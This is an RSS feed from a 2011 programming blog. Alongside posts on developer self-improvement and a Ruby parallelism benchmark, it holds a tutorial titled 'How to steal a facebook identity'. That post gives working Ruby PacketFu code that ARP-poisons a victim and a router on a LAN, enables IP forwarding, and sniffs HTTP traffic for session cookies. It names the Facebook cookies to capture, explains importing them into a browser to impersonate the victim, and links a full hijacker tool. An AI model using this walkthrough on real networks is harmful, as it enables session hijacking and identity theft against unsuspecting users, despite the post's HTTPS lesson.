<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Implements Developer</title>
	
	<link>http://blog.mostof.it</link>
	<description>Where the rising ape meets the falling angel</description>
	<lastBuildDate>Sat, 26 Nov 2011 20:14:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Blogmostofit" /><feedburner:info uri="blogmostofit" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Continuous improvement</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/hXEx5UpILs0/</link>
		<comments>http://blog.mostof.it/continuous-improvement/#comments</comments>
		<pubDate>Wed, 16 Nov 2011 09:30:13 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[better]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[improvement]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=644</guid>
		<description><![CDATA[We developers are the masters of an ever-changing field. What programming is today usually isn't the same as programming tomorrow. IT is improving, changing, trends arise and die, new languages, new platforms are born, better solutions come forth for old problems. We need to keep up with the changes and also constantly improve ourselves. ...]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="size-thumbnail wp-image-647 alignleft" title="Improvement" src="http://blog.mostof.it/wp-content/uploads/2011/11/ico_process-impr_spi-150x150.gif" alt="Improvement" width="150" height="150" />We developers are the masters of an ever-changing field. What programming is today usually isn&#8217;t the same as programming tomorrow. IT is improving, changing, trends arise and die, new languages, new platforms are born, better solutions come forth for old problems. We need to keep up with the changes and also constantly improve ourselves. This is not optional, this is crucial.</p>
<p>Below you can find a few tips which will help you walk the line, become a better developer.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span id="more-644"></span>Have you heard the term &#8216;Kaizen&#8217;? If not, shortly it&#8217;s a term for improvement. Of course it&#8217;s more than a mere word, it&#8217;s a philosophy, a philosophy of constant change for the better. It requires objective monitoring and improvement. Go ahead, read a bit more about it <a title="Kaizen on Wikipedia" href="http://en.wikipedia.org/wiki/Kaizen" target="_blank">here</a>, you won&#8217;t regret.</p>
<p>My tips are, without any specific order:</p>
<ul>
<li>Read code</li>
</ul>
<p style="padding-left: 60px;">Read others code often and thoroughly. Look for proven quality code in production software. Learn how things work. See others&#8217; solutions to the problems you also face or will surely face sometime. Compare solutions, techniques.</p>
<ul>
<li>Write code</li>
</ul>
<p style="padding-left: 60px;">Choose a problem you&#8217;ve never solved before. Work your way through it, give it time. Try to objectively study yourself, your ways of thinking, your mental patterns. You will realize _many_ very interesting things by doing so. It&#8217;s not that hard and it&#8217;s an immense source of good feedback. Also try to implement things in different ways and compare the pros/cons of your solutions. Use aspects like &#8220;modularity&#8221; and &#8220;system integration&#8221;. Write code which is pure, simple. Almost everything can be solved in a simple way.</p>
<ul>
<li>Keep up to date with technologies and trends</li>
</ul>
<p style="padding-left: 60px;">You&#8217;re on twitter and facebook anyway, start following tech leaders and tune up your RSS source list. Don&#8217;t be the last to know about that new language. Of course be picky about what you delve into, don&#8217;t follow trends like a blind sheep. A big part of tech improvement is in fact improvement, so get to know it, as early as possible.</p>
<ul>
<li>Try to look at things from many different points of view</li>
</ul>
<p style="padding-left: 60px;">Sure, you&#8217;re a developer, but would you use your own product as a plain simple user? What about business values? Does that new pice of l&#8217;art pour l&#8217;art code bring any value? Did you make a change? What resources did it take? Weren&#8217;t there any more important things which would have brought greater value? What is the meaning of the software you&#8217;ve just delivered? What&#8217;s is role in the big picture? These questions seem banal and trivial, but they aren&#8217;t. We should be asking these questions constantly. Start and you&#8217;ll see the difference.</p>
<ul>
<li>Test your code, measure your code</li>
</ul>
<p style="padding-left: 60px;">Untested code is just a promise. Unmeasured code is hard to learn from or improve. Would you give your money to a complete stranger on a vague promise? Do your testing in many levels, starting from unit testing. Do functional and integration tests. Prove that your code works. Convince others. Push your code to that git repo with a big smile instead of a worried look. Measure your code coverage, code complexity and code smell. Tune. Improve.</p>
<ul>
<li>Seek community with other developers</li>
</ul>
<p style="padding-left: 60px;">Learn from others. Discuss problems with others. Take reading their code to a higher level. Help them if you can. Be open-minded, accept and analyse other solutions and ideas.</p>
<ul>
<li>Deliver something useful ever day.</li>
</ul>
<p style="padding-left: 60px;">Learn to break down long projects into smaller, deliverable parts. Do milestones. Do tested, proven, working milestones. Deliver something. Show your value. Don&#8217;t sit on projects for long weeks. Show your progress. Analysis and synthesis are essential to our trade. Deliver something, now, today. Watch the difference it&#8217;ll make in your self-confidence and in how others view you. Be a happier coder.</p>
<ul>
<li>Break away from programming from time to time</li>
</ul>
<p style="padding-left: 60px;">Recreation. Different activities, sports, nature. Your body and your brain needs it. Also the best ideas often arise not while sitting and staring at the screen but while walking in the forest.</p>
<div>Lather, rinse and repeat.</div>
<p class="wp-flattr-button"></p> <p><a href="http://blog.mostof.it/?flattrss_redirect&amp;id=644&amp;md5=fcc7695dca5fb8fa4d9d703cd586fb72" title="Flattr" target="_blank"><img src="http://blog.mostof.it/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>
<p><a href="http://feedads.g.doubleclick.net/~a/MrrLh1dGBxCY45np8t7-NhUD2p0/0/da"><img src="http://feedads.g.doubleclick.net/~a/MrrLh1dGBxCY45np8t7-NhUD2p0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/MrrLh1dGBxCY45np8t7-NhUD2p0/1/da"><img src="http://feedads.g.doubleclick.net/~a/MrrLh1dGBxCY45np8t7-NhUD2p0/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/hXEx5UpILs0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/continuous-improvement/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/continuous-improvement/</feedburner:origLink></item>
		<item>
		<title>How to steal a facebook identity</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/wA7Ba8HG6Mo/</link>
		<comments>http://blog.mostof.it/how-to-steal-a-facebook-identity/#comments</comments>
		<pubDate>Thu, 29 Sep 2011 10:21:54 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[identity theft]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=611</guid>
		<description><![CDATA[Subtitle: A case study on why you should use HTTPS for all sites you have an account on.

So you want to know how to steal someone's facebook identity. How to impersonate the poor victim. How to post embarrassing status updates, pictures in his/her name. Naughty, aren't we? Let's view this as a tech challenge ...]]></description>
			<content:encoded><![CDATA[<p></p><p><em><strong><img class="alignleft size-thumbnail wp-image-613" title="Identity theft" src="http://blog.mostof.it/wp-content/uploads/2011/09/Identity-Theft-150x150.jpg" alt="Identity theft" width="150" height="150" />Subtitle</strong></em>: A case study on why you should use HTTPS for all sites you have an account on.</p>
<p>So you want to know how to steal someone&#8217;s facebook identity. How to impersonate the poor victim. How to post embarrassing status updates, pictures in his/her name. Naughty, aren&#8217;t we? Let&#8217;s view this as a tech challenge instead, forget the nasty things we could do with it. This howto touches basic online security issues and some networking internals. Prepare for the journey, fasten your seatbelts.</p>
<p><span id="more-611"></span></p>
<p>Guys, first, seriously, this is definitely <strong><em>not </em></strong>a nice thing to do. Really. Don&#8217;t do it. Stop reading right now.</p>
<p>Well, if you still insist&#8230;</p>
<p>Here&#8217;s a list of ingredients:</p>
<ul>
<li>A LAN to operate on. It can be your school&#8217;s LAN, your workplace or your home router&#8217;s network.</li>
<li>Some basic knowledge about network protocols: <a title="Address Resolution Protocol" href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol" target="_blank">ARP</a>, <a title="TCP/IP" href="http://en.wikipedia.org/wiki/TCP/IP_model" target="_blank">TCP/IP</a>, <a title="Ethernet" href="http://en.wikipedia.org/wiki/Ethernet" target="_blank">Ethernet</a> and <a title="Hypertext Transfer Protocol (HTTP)" href="http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" target="_blank">HTTP</a></li>
<li>Ruby skills. Get some. Really. Trust me, it&#8217;s worth it!</li>
<li>A UNIX-based OS. This might work on windows, too, but no guarantees. I use OS X for daily work.</li>
<li>Patience. Sometimes a lot.</li>
</ul>
<div>So, let&#8217;s get to know the concepts step by step.</div>
<h3>A short intro to ARP</h3>
<p>ARP stands for &#8220;Address Resolution Protocol&#8221; and &#8211; well, what do you know &#8211; it handles MAC and IP address conversions on a conventional TCP/IP ethernet based network. As you all know, TCP/IP packets are encapsulated in Ethernet packets, and Ethernet only knows those so-called <a title="MAC address" href="http://en.wikipedia.org/wiki/MAC_address" target="_blank">MAC (Media Access Control) addresses</a>, it has no idea about IP addresses or domain names.</p>
<p>When you send a standard TCP/IP packet from your machine, your OS wraps it up in a nice Ethernet packet and asks your network card to kindly send it to the network card which has the destination MAC address (it is much more complicated (routing, etc.) but this is enough for us in this project).</p>
<p>Therefore your OS needs to know which IP address(es) belong to which MAC address. Of course if there&#8217;s a router involved (and there must be if you&#8217;re on a LAN) it also needs to know this. This table is filled up when ARP messages travel on the network. An ARP announcement or reply message basically says &#8220;hey guys, the IP 1.2.3.4 is associated to the mac address 03:f9:06:e4:6b:0b&#8221;.</p>
<p>This IP &lt;&#8212;-&gt; MAC conversion list is called the ARP table or ARP cache. We are going to &#8216;poison&#8217; this table. More on this a few paragraphs later.</p>
<h3>A few thoughts on sessions, users and logins</h3>
<p>Most sites are using cookies to handle user logins and authentication. HTTP is a <em>stateless</em> protocol. A stateless protocol does not require the server to retain information or status about each user for the duration of multiple requests. To have some kind of identification, we use cookies. A cookie is a key-value pair stored in the browser (so client-side) with two more extra information: lifetime and access control. With each request, if the cookie is still alive (lifetime) and the access control allows the server to receive the cookie, the client sends the cookie in its headers. You can read more on this <a title="HTTP cookies" href="http://en.wikipedia.org/wiki/HTTP_cookie" target="_blank">here</a>. The cookies are first sent by the server (or server application) which this way try to store user-level data, such as login state, userid, etc.</p>
<p>For example, the most interesting cookies coming from facebook are: c_user , datr , sct and xs &#8211; they are enough to identify session for a logged in user. When we log in to facebook, these cookies get set and on every request the server knows who we are (and that we are logged in) using these cookies which the browser sends back every time. We will  intercept these cookies travelling on the network from our victom to facebook&#8217;s servers.</p>
<p>&nbsp;</p>
<h3>How to intercept communication on a LAN</h3>
<p>This is actually easier than you&#8217;d think, thanks to serious security flaws in the design of the ARP protocol. Well, ARP is old and back then there weren&#8217;t so big security concerns.</p>
<p>Basically we&#8217;re going to lie to our victim&#8217;s machine saying we&#8217;re the router, and also lie to the router saying we&#8217;re the victim&#8217;s machine.</p>
<p>Let&#8217;s imagine a network with 3 hosts: 1 router and 2 client &#8216;user&#8217; machines. The router has the IP 10.0.0.1 and the clients have 10.0.0.100 and 10.0.0.101. We are 10.0.0.100 and our victim is 10.0.0.101.</p>
<p>To achieve this, recall ARP. We send an ARP announcement/reply to the victim&#8217;s machine stating that the router&#8217;s IP address is associated to our MAC address, thus every TCP/IP package sent to the router by the victim&#8217;s machine will actually be sent to us. The other half of the story is that we also send an ARP message to the router saying that the victim&#8217;s IP address is associated to our MAC address this way we get the response packages coming from the router to the client. Then all we need to do is read the travelling packages while forwarding them respectively to the router and the client (so that packages really also reach their destination).</p>
<p>Well, we also need to enable something in the OS which is called &#8216;packet forwarding&#8217; so that packages not targeted to us get accepted and parsed.</p>
<p>In linux, it is a simple</p>
<pre>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre>
<p>In OS X, it&#8217;s a bit different</p>
<pre>sysctl -w net.inet.ip.forwarding=1</pre>
<h3>Now the stage is set to do some programming.</h3>
<p>We will use ruby (1.8 and 1.9 are both good), and we will need the gem called &#8216;<a title="PacketFu" href="https://github.com/todb/packetfu" target="_blank">PacketFu</a>&#8216; and its dependency PcapRub which is a ruby wrapper to the <a title="LibPcap" href="http://www.tcpdump.org/" target="_blank">libpcap</a> library. These will help us with low-level network operations and packet capturing, parsing.</p>
<p>First things first, let&#8217;s send out the ARP spoofing packages:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p611code1'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6111"><td class="code" id="p611code1"><pre class="ruby" style="font-family:monospace;">arp_packet_victim = <span style="color:#6666ff; font-weight:bold;">PacketFu::ARPPacket</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
arp_packet_victim.<span style="color:#9900CC;">eth_saddr</span> = <span style="color:#996600;">'d2:7b:9c:71:7b:6f'</span>       <span style="color:#008000; font-style:italic;"># our MAC address</span>
arp_packet_victim.<span style="color:#9900CC;">eth_daddr</span> = <span style="color:#996600;">'d4:9e:cb:08:5a:27'</span>       <span style="color:#008000; font-style:italic;"># the victim's MAC address</span>
arp_packet_victim.<span style="color:#9900CC;">arp_saddr_mac</span> = <span style="color:#996600;">'d2:7b:9c:71:7b:6f'</span>   <span style="color:#008000; font-style:italic;"># our MAC address</span>
arp_packet_victim.<span style="color:#9900CC;">arp_daddr_mac</span> = <span style="color:#996600;">'d4:9e:cb:08:5a:27'</span>   <span style="color:#008000; font-style:italic;"># the victim's MAC address</span>
arp_packet_victim.<span style="color:#9900CC;">arp_saddr_ip</span> = <span style="color:#996600;">'10.0.0.1'</span>             <span style="color:#008000; font-style:italic;"># the router's IP</span>
arp_packet_victim.<span style="color:#9900CC;">arp_daddr_ip</span> = <span style="color:#996600;">'10.0.0.101'</span>           <span style="color:#008000; font-style:italic;"># the victim's IP</span>
arp_packet_victim.<span style="color:#9900CC;">arp_opcode</span> = <span style="color:#006666;">2</span>                        <span style="color:#008000; font-style:italic;"># arp code 2 == ARP reply</span>
&nbsp;
arp_packet_router = <span style="color:#6666ff; font-weight:bold;">PacketFu::ARPPacket</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
arp_packet_router.<span style="color:#9900CC;">eth_saddr</span> = <span style="color:#996600;">'d2:7b:9c:71:7b:6f'</span>       <span style="color:#008000; font-style:italic;"># our MAC address</span>
arp_packet_router.<span style="color:#9900CC;">eth_daddr</span> = <span style="color:#996600;">'29:ef:54:43:78:32'</span>       <span style="color:#008000; font-style:italic;"># the router's MAC address</span>
arp_packet_router.<span style="color:#9900CC;">arp_saddr_mac</span> = <span style="color:#996600;">'d2:7b:9c:71:7b:6f'</span>   <span style="color:#008000; font-style:italic;"># our MAC address</span>
arp_packet_router.<span style="color:#9900CC;">arp_daddr_mac</span> = <span style="color:#996600;">'29:ef:54:43:78:32'</span>   <span style="color:#008000; font-style:italic;"># the router's MAC address</span>
arp_packet_router.<span style="color:#9900CC;">arp_saddr_ip</span> = <span style="color:#996600;">'10.0.0.101'</span>           <span style="color:#008000; font-style:italic;"># the victim's IP</span>
arp_packet_router.<span style="color:#9900CC;">arp_daddr_ip</span> = <span style="color:#996600;">'10.0.0.1'</span>             <span style="color:#008000; font-style:italic;"># the router's IP</span>
arp_packet_router.<span style="color:#9900CC;">arp_opcode</span> = <span style="color:#006666;">2</span>                        <span style="color:#008000; font-style:italic;"># arp code 2 == ARP reply</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># we send out both packages</span>
arp_packet_victim.<span style="color:#9900CC;">to_w</span><span style="color:#006600; font-weight:bold;">&#40;</span>@interface<span style="color:#006600; font-weight:bold;">&#41;</span>
arp_packet_router.<span style="color:#9900CC;">to_w</span><span style="color:#006600; font-weight:bold;">&#40;</span>@interface<span style="color:#006600; font-weight:bold;">&#41;</span></pre></td></tr></table></div>

<p>Actually in a real-world situation we need to keep sending these packages during the whole capturing session, for example in a thread.</p>
<p>Now we start a capturing session on the designated interface with some default filtering (port: 80 and HTTP requests. See the <a title="Wireshark filters" href=" http://wiki.wireshark.org/CaptureFilter" target="_blank">filter format tutorial</a> for more info)</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p611code2'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6112"><td class="code" id="p611code2"><pre class="ruby" style="font-family:monospace;">capture_session = <span style="color:#6666ff; font-weight:bold;">PacketFu::Capture</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#ff3333; font-weight:bold;">:iface</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'eth0'</span>, <span style="color:#ff3333; font-weight:bold;">:start</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, <span style="color:#ff3333; font-weight:bold;">:promisc</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#0000FF; font-weight:bold;">true</span>, 
                                        <span style="color:#ff3333; font-weight:bold;">:filter</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;tcp port 80 and (((ip[2:2] - ((ip[0]&amp;0xf)&lt;&lt;2)) - ((tcp[12]&amp;0xf0)&gt;&gt;2)) != 0)&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span></pre></td></tr></table></div>

<p>Now we only need to see if there&#8217;s any cookie travelling:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p611code3'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6113"><td class="code" id="p611code3"><pre class="ruby" style="font-family:monospace;">capture_session.<span style="color:#9900CC;">stream</span>.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>packet<span style="color:#006600; font-weight:bold;">|</span>
  <span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;Woohoo I found a cookie&quot;</span> <span style="color:#9966CC; font-weight:bold;">if</span> packet =~ <span style="color:#006600; font-weight:bold;">/</span>ookie<span style="color:#006600; font-weight:bold;">/</span>
<span style="color:#006600; font-weight:bold;">&#125;</span></pre></td></tr></table></div>

<p>Nice and easy. We can then parse these cookies and save them in for example <a title="Netscape cookie format" href="http://xiix.wordpress.com/2006/03/23/mozillafirefox-cookie-format/" target="_blank">netscape cookie format</a>, which we can import  to a browser session with a firefox plugin called <a title="Cookie importer add-on" href="https://addons.mozilla.org/en-US/firefox/addon/cookie-importer/" target="_blank">Cookie importer</a>.</p>
<p>So, what is the lesson? Always use HTTPS. Always.</p>
<h4><strong>P.s.: If I get enough tweets, likes, +1-s and comments, I will post a complete ruby codebase which is a real working facebook and twitter session hijacker <img src='http://blog.mostof.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></h4>
<p>&nbsp;</p>
<h2>UPDATE</h2>
<p>I&#8217;ve published the code: <a href='https://github.com/ochronus/ArpSpoof'>https://github.com/ochronus/ArpSpoof</a></p>
<p>&nbsp;</p>
<p class="wp-flattr-button"></p> <p><a href="http://blog.mostof.it/?flattrss_redirect&amp;id=611&amp;md5=9e59b0a7747cadc25be1c64a2b3342ef" title="Flattr" target="_blank"><img src="http://blog.mostof.it/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>
<p><a href="http://feedads.g.doubleclick.net/~a/OMwQh0G8EaYt98tbwGSEZgVME0M/0/da"><img src="http://feedads.g.doubleclick.net/~a/OMwQh0G8EaYt98tbwGSEZgVME0M/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/OMwQh0G8EaYt98tbwGSEZgVME0M/1/da"><img src="http://feedads.g.doubleclick.net/~a/OMwQh0G8EaYt98tbwGSEZgVME0M/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/wA7Ba8HG6Mo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/how-to-steal-a-facebook-identity/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/how-to-steal-a-facebook-identity/</feedburner:origLink></item>
		<item>
		<title>Easy ruby paralellism with the ‘parallel’ gem</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/WRlUn6DhIiY/</link>
		<comments>http://blog.mostof.it/easy-ruby-paralellism-with-the-parallel-gem/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 14:16:04 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=601</guid>
		<description><![CDATA[Concurrency is a hard topic in programming with many advanced concepts. We love libraries and solutions which help us during our everyday simple tasks. The 'parallel' gem is one of these - well, gems -. You can find it at github. The author's own description:
Run any code in parallel Processes(&#62; use all CPUs) or ...]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="alignleft size-thumbnail wp-image-602" title="Highway" src="http://blog.mostof.it/wp-content/uploads/2011/09/highway-150x150.jpg" alt="Highway" width="150" height="150" />Concurrency is a hard topic in programming with many advanced concepts. We love libraries and solutions which help us during our everyday simple tasks. The &#8216;parallel&#8217; gem is one of these &#8211; well, gems -. You can find it at <a title="Parallel gem from grosser" href="https://github.com/grosser/parallel" target="_blank">github</a>. The author&#8217;s own description:</p>
<blockquote><p>Run any code in parallel Processes(&gt; use all CPUs) or Threads(&gt; speedup blocking operations).<br />
Best suited for map-reduce or e.g. parallel downloads/uploads.</p></blockquote>
<p>Let&#8217;s see some simple example of its usage.</p>
<p>&nbsp;</p>
<p><span id="more-601"></span><br />
Sample code:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p601code4'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6014"><td class="code" id="p601code4"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'rubygems'</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'rubygems'</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'parallel'</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/http'</span>
<span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'benchmark'</span>
&nbsp;
&nbsp;
ping_hosts = <span style="color:#CC0066; font-weight:bold;">lambda</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>host<span style="color:#006600; font-weight:bold;">|</span>
  <span style="color:#006666;">10</span>.<span style="color:#9900CC;">times</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#6666ff; font-weight:bold;">Net::HTTP</span>.<span style="color:#9900CC;">new</span><span style="color:#006600; font-weight:bold;">&#40;</span>host<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">head</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'/'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#006600; font-weight:bold;">&#125;</span>
&nbsp;
<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#996600;">&quot;#{Parallel.processor_count} procesor(s)&quot;</span>
hosts = <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'www.ruby-lang.org'</span>, <span style="color:#996600;">'programmingzen.com'</span>, <span style="color:#996600;">'blog.headius.com'</span>, <span style="color:#996600;">'chadfowler.com'</span>, <span style="color:#996600;">'drnicwilliams.com'</span>, <span style="color:#996600;">'igvita.com'</span><span style="color:#006600; font-weight:bold;">&#93;</span>
&nbsp;
<span style="color:#CC00FF; font-weight:bold;">Benchmark</span>.<span style="color:#9900CC;">bm</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>x<span style="color:#006600; font-weight:bold;">|</span>
  x.<span style="color:#9900CC;">report</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'normal'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
    hosts.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&amp;</span>ping_hosts
  <span style="color:#006600; font-weight:bold;">&#125;</span>
  x.<span style="color:#9900CC;">report</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'thread'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
    Parallel.<span style="color:#9900CC;">each</span><span style="color:#006600; font-weight:bold;">&#40;</span>hosts, <span style="color:#ff3333; font-weight:bold;">:in_threads</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> Parallel.<span style="color:#9900CC;">processor_count</span>, <span style="color:#006600; font-weight:bold;">&amp;</span>ping_hosts<span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#006600; font-weight:bold;">&#125;</span>
  x.<span style="color:#9900CC;">report</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'fork'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
    Parallel.<span style="color:#9900CC;">each</span><span style="color:#006600; font-weight:bold;">&#40;</span>hosts, <span style="color:#006600; font-weight:bold;">&amp;</span>ping_hosts<span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>This code basically gets the root document of the http servers listening on port 80 on the list of domains, 10 times.<br />
The first run in a simple sequential run, we call this &#8216;<strong>normal</strong>&#8216; in the benchmark.<br />
Then we instruct the parallel library to use as many threads as our CPU core count is, this is the run called &#8216;<strong>thread</strong>&#8216;<br />
Finally we use forking (the default operation of the library), naturally this run is called &#8216;<strong>fork</strong>&#8216;.</p>
<p>The results on my machine are:</p>
<pre>8 procesor(s)
      user     system      total        real
normal  0.070000   0.080000   0.150000 ( 33.270311)
thread  0.040000   0.030000   0.070000 (  7.227803)
fork  0.010000   0.030000   0.330000 ( 10.276050)</pre>
<p>I think this shows how easy and straightforward it is to use this library for everyday parallel tasks. Of course we haven&#8217;t covered advanced contexts as locks, mutexes, shared data, etc. &#8211; this library is not made for that.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/uVEOfO9BnYXAt3jFpTzjPGxmMyM/0/da"><img src="http://feedads.g.doubleclick.net/~a/uVEOfO9BnYXAt3jFpTzjPGxmMyM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/uVEOfO9BnYXAt3jFpTzjPGxmMyM/1/da"><img src="http://feedads.g.doubleclick.net/~a/uVEOfO9BnYXAt3jFpTzjPGxmMyM/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/WRlUn6DhIiY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/easy-ruby-paralellism-with-the-parallel-gem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/easy-ruby-paralellism-with-the-parallel-gem/</feedburner:origLink></item>
		<item>
		<title>Be the samurai you used to admire when you were a kid</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/IH82nGwpmVA/</link>
		<comments>http://blog.mostof.it/be-the-samurai-you-used-to-admire-when-you-were-a-kid/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 05:41:41 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[improvement]]></category>
		<category><![CDATA[self-development]]></category>

